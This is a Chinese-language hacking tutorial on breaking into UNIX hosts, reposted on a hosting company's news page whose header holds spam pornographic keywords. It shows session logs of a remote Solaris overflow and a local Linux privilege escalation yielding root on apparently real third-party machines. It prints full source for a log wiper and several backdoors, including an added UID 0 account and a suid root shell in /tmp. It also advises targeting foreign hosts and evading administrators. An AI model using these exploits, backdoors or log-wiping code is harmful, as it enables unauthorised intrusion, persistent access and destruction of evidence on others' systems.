人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

淺談入侵UNIX

發(fā)布日期:2021-12-29 07:07 | 文章來源:腳本之家
一:基本知識 1:常見UNIX版本:
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...
2:簡單介紹幾個
sunos&solaris SUN本來想用solaris取代sunos,不過在用戶的要求下,到目前為止,還是維持兩者并存的政策;
Freebsd是著名的BSD-UNIX的一的繼承者,是UNIX眾多分支中相當(dāng)穩(wěn)定的一個,很多ISP均使用運(yùn)行Freebsd;
Linux是一個面對PC機(jī)個人用戶的自由廉價的UNIX產(chǎn)品(其硬件平臺是Intel系列的CPU),實際上眾多的網(wǎng)絡(luò)管理員真正使用的是Linux。
3:UNIX操作系統(tǒng)的特點(diǎn)
(1)多用戶和多任務(wù);(2)可移植性;(3)樹行結(jié)構(gòu)的文件系統(tǒng);(4)I/O重定向技術(shù)和管道技術(shù);(5)豐富的實用程序;(6)每個用戶都有電子郵件。
4:尤為突出的優(yōu)點(diǎn)
(1)穩(wěn)定可靠性高;(2)網(wǎng)絡(luò)功能強(qiáng);(3)開發(fā)性好;(4)強(qiáng)大的數(shù)據(jù)庫支持功能;(5)伸縮性強(qiáng)。 二:入侵目的 1:學(xué)習(xí)UNIX,熟悉內(nèi)部操作,整體配置...
2:做跳板或以此捕捉更多UNIX肉雞;
3:越權(quán)得到某些正常請求下得不到的東西;
4:攻擊破壞或以此作為利器來破壞其他系統(tǒng);
5:更多...... 三:入侵方法 1:尋找目標(biāo) 工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,憑個人喜好選用
supperscan:掃描23,79端口,注意含%,#,&...主機(jī),這些就是UNIX;
LANguard..作簡單設(shè)置,即可開始,判斷對方操作系統(tǒng)功能乃同類軟件中的精品,直觀準(zhǔn)確;
流光:利用高級掃描,選telnet,PRC,POP3,F(xiàn)TP,F(xiàn)inger即可。
其他方法一樣...
(說明:很多管理員為了迷惑入侵者往往故意更改telnet登陸時出現(xiàn)的信息,請注意識別) 2:開始入侵 (1)溢出(所有關(guān)于UNIX的溢出,都需要在一個UNIX/Linux的環(huán)境下進(jìn)行編譯)
A:遠(yuǎn)程溢出
溢出?呵呵,太多了!隨便說幾個:freebsd遠(yuǎn)程溢出,bind 遠(yuǎn)程溢出,Sun Solaris 5.7/5.8 Sparc遠(yuǎn)程溢出,redhat6.xrpc status遠(yuǎn)程溢出...自己去一一了解吧,在這里我簡單說兩個例子:
a1:考慮到很多朋友使用windows,所以大家可以參看我的兄弟---藍(lán)騎士的大作《freebsd溢出完全圖文版》(地址:http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=),因為這個溢出程序有已經(jīng)編譯好了可以直接在windows下使用;
a2:Sun Solaris 5.7 Sparc遠(yuǎn)程溢出
搜索...終于讓我找到了一臺sunos 5.7,上我一臺sunos 5.8
telnet 66.*.146.48 ----->>這是我的!
SunOS 5.8 login: ply
Password:
Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$ tmp/.sh ----->>當(dāng)時溢出時做的處理!
# ls
bin data etc initrd mnt proc sbin usr
boot dev home lib misc opt root tmp var
xfn skip
# cat >snmp.c ....... ----->>太長了,省略...自己去找! # gcc -o snmp snmp.c ----->>用gcc編譯
snmp.c: In function `main':
snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
# ls
bin data etc initrd mnt proc sbin snmp usr
boot dev home lib misc opt root snmp.c tmp var
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc usage: ./s address [-p port] -v 7|8
#./snmp 216.*.45.63 -v 7 ---->開始溢出!!
DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root) ----->>是root哦!
echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加個用戶先!
echo "ply::::::::" >> /etc/shadow
... ----->>還想干什么就繼續(xù)吧! B:本地溢出
本地溢出需要一個具有Shell權(quán)限的帳號,這個帳號可以通過pop3或ftp弱密碼得到,照樣舉個例子:
流光掃描...一會兒得到了一個ftp帳號(webmaster,webmaster),先telnet上去!
telnet *.174.62.135 Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!
Kernel 2.2.12-20kr2smp on an i686
login: webmaster
Password:
Last login: Wed Apr 24 02:21:58 from *.*.*.*
You have mail. ----->>這家伙有新郵件,不過我沒興趣!
[webmaster@ns webmaster]$ ----->>氣人的普通用戶$
[webmaster@ns webmaster]$cat >ts.c
... ----->>要學(xué)會利用網(wǎng)絡(luò)資源,自己找,當(dāng)是練習(xí)!
[webmaster@ns webmaster]$gcc -o ts ts.c ----->>還是用gcc編譯。
In file included from /usr/include/asm/user.h:5,
from /usr/include/linux/user.h:1,
from ts.c:30:
/usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined
/usr/include/sys/ptrace.h:103: warning: this is the location of the previous def
inition
[webmaster@ns webmaster]$ ls
Desktop/ Mail/ ts* ts.c
[webmaster@ns webmaster]$ ./ts
attached
bash# su root
[root@ns webmaster]# ----->>搞定,看見#我就高興!
[root@ns webmaster]# cat >wipe.c ----->>掃腳印的,這個還是給大家吧,否則有人要扁我了!
/*=============================================================================
UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( unewn4th@usa.net )
=============================================================================
*/ #include
#include
#include
#include #ifdef UTMAXTYPE
#define UTMPX
#include
#endif
#include
#ifndef _PATH_LASTLOG
#include
#endif
#include
#include
#include #define SVR4_UTMP "/var/adm/utmp"
#define SVR4_WTMP "/var/adm/wtmp"
#define SVR4_LASTLOG "/var/adm/lastlog" #define SUNOS4_UTMP "/etc/utmp"
#define SUNOS4_WTMP "/usr/adm/wtmp"
#define SUNOS4_LASTLOG "/usr/adm/lastlog" #define BSD_UTMP "/var/run/utmp"
#define BSD_WTMP "/var/log/wtmp"
#define BSD_LASTLOG "/var/log/lastlog" #define MAX_FPATH 512 int wipe_log(path,user,type)
char *path,*user;
int type;
{
struct utmp utmp_ent;
#ifdef UTMPX
struct utmpx utmpx_ent;
#endif
void *ent;
char *un;
int sz,fd,c=0; if (strlen(path)==0) return(1);
if (type==0){
ent=(void *)&utmp_ent;
#ifdef UTMPX
un=(char *)&utmp_ent.ut_user;
#else
un=(char *)&utmp_ent.ut_name;
#endif
sz=sizeof(struct utmp);
}else{
#ifdef UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=sizeof(struct utmpx);
#endif
}
if ((fd=open(path,O_RDWR))<=0) return(-1);
while(read(fd,ent,sz)>0)
if (!strncmp(un,user,strlen(user))){
memset(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c ;
}
close(fd);
printf("Wiped %d entries of %s from %s.\n",c,user,path);
return(0);
} int wipe_lastlog(path,user,type)
char *path,*user;
int type;
{
struct passwd *p;
struct lastlog ent;
int fd;
char buffer[MAX_FPATH]; if (type==0) strcpy(buffer,path);
else sprintf(buffer,"%s/%s",path,user);
memset(&ent,0,sizeof(struct lastlog));
if ((p=getpwnam(user))==NULL) return(-1);
if ((fd=open(buffer,O_RDWR))<=0) return(-2);
if (type==0)
lseek(fd,p->CNSU_uid*sizeof(struct lastlog),SEEK_SET);
write(fd,&ent,sizeof(struct lastlog));
close(fd);
printf("Wiped %s from %s.\n",user,path);
return(0);
} main(argc,argv)
int argc;
char *argv[];
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
int lastlog_type; if (argc!=2){
printf("Usage: %s Usernane\n",argv[0]);
exit(1);
}
if (getpwnam(argv[1])==NULL){
printf("Unknown user : %s\n",argv[1]);
exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
if (!strcmp(utname.sysname,"SunOS")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#else
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#endif
}else if (!strcmp(utname.sysname,"Linux")
|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}else if (!strcmp(utname.sysname,"IRIX")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#else
printf("Can not wipe. System Unknown.\n");
#endif
}else
printf("Can not wipe. System Unknown.\n"); wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
^d [root@ns webmaster]# gcc -o wipe wipe.c
[root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以掃掉腳印了! (2)掃描弱口令或暴力破解口令
A:弱口令使用于大范圍搜捕,即利用少量常見多用密碼去推測大量主機(jī)的telnet,ftp或pop3
B:暴力破解適用于針對某一主機(jī),比如說利用finger獲得了用戶列表,即可采用字典攻擊!或者說利用其他漏洞(如phf漏洞)獲得了passwd,shadow文件,可以拿john或者亂刀解破,能否解破?看運(yùn)氣! (3)利用特洛伊木馬竊取口令(我沒有這么做過,但這不失為一種方法) (4)網(wǎng)絡(luò)監(jiān)聽和數(shù)據(jù)截?。ù蠹液臀乙黄鹋Π?,努力學(xué)會利用這種方法:P) (5)這里給大家?guī)讉€簡單的后門程序,復(fù)雜的自己去看!
a1:口令文件 passwd 中增加一個 UID 為 0 的帳號
#include  main()
{
FILE *fd;
fd=fopen("/etc/passwd","a ");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
a2:在 /tmp 目錄下放置 suid shell
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
a3:管理員偶然地輸入cd..時向/etc/passwd文件添加一個UID 0 帳號
#include 
#include  main()
{
FILE *fd;
fd=fopen("/etc/passwd","a ");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
(6)攻擊(特別是溢出)的方式很多,但方法大多大同小異,故不再贅敘! 四:補(bǔ)充說明 1:如用supperscan發(fā)現(xiàn)某ip段存在大量unix主機(jī),馬上轉(zhuǎn)用弱口令破解;或發(fā)現(xiàn)某連續(xù)ip段全是同一個unix版本操作系統(tǒng),則此ip段很有可能是某大公司,企業(yè),高?;蚱渌?,一般防護(hù)甚嚴(yán),不存在溢出漏洞,無需逐一嘗試溢出,隨便選兩三個試試看行不行;
2:到信息產(chǎn)業(yè)發(fā)達(dá)的國家去找,比如說美國,日本...不要找國內(nèi)的,又少又危險!
3:若發(fā)現(xiàn)telnet不上上次成功溢出的肉雞,說明此肉雞的ip是動態(tài)的,但ip改變不會太大,在臨近ip再搜一遍即可! 五:強(qiáng)調(diào)說明 不要簡單地認(rèn)為你已經(jīng)輕易地檫干凈了你的入侵痕跡,很多有經(jīng)驗的管理員都把日志文件轉(zhuǎn)到了其他主機(jī)上或作相關(guān)安全處理,一旦管理員發(fā)現(xiàn)了入侵,他會從如下方面來分析攻擊者的入侵方式,你應(yīng)該以此做出相應(yīng)的應(yīng)對措施:
1:查找系統(tǒng)文件和系統(tǒng)培植文件的變化;
2:查找數(shù)據(jù)文件的變化;
3:查找入侵留下的數(shù)據(jù)文件和相關(guān)工具;
4:檢查日志文件
5:查找出網(wǎng)絡(luò)監(jiān)聽的跡象
6:檢查局域網(wǎng)上的其他計算機(jī)。 六:本文中存在的缺點(diǎn)錯誤還望容忍并多加批評與指正!本文歡迎轉(zhuǎn)載,但請務(wù)必保持全文完整! 七:警告,請清醒地估量你的行為可能帶來的后果!

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部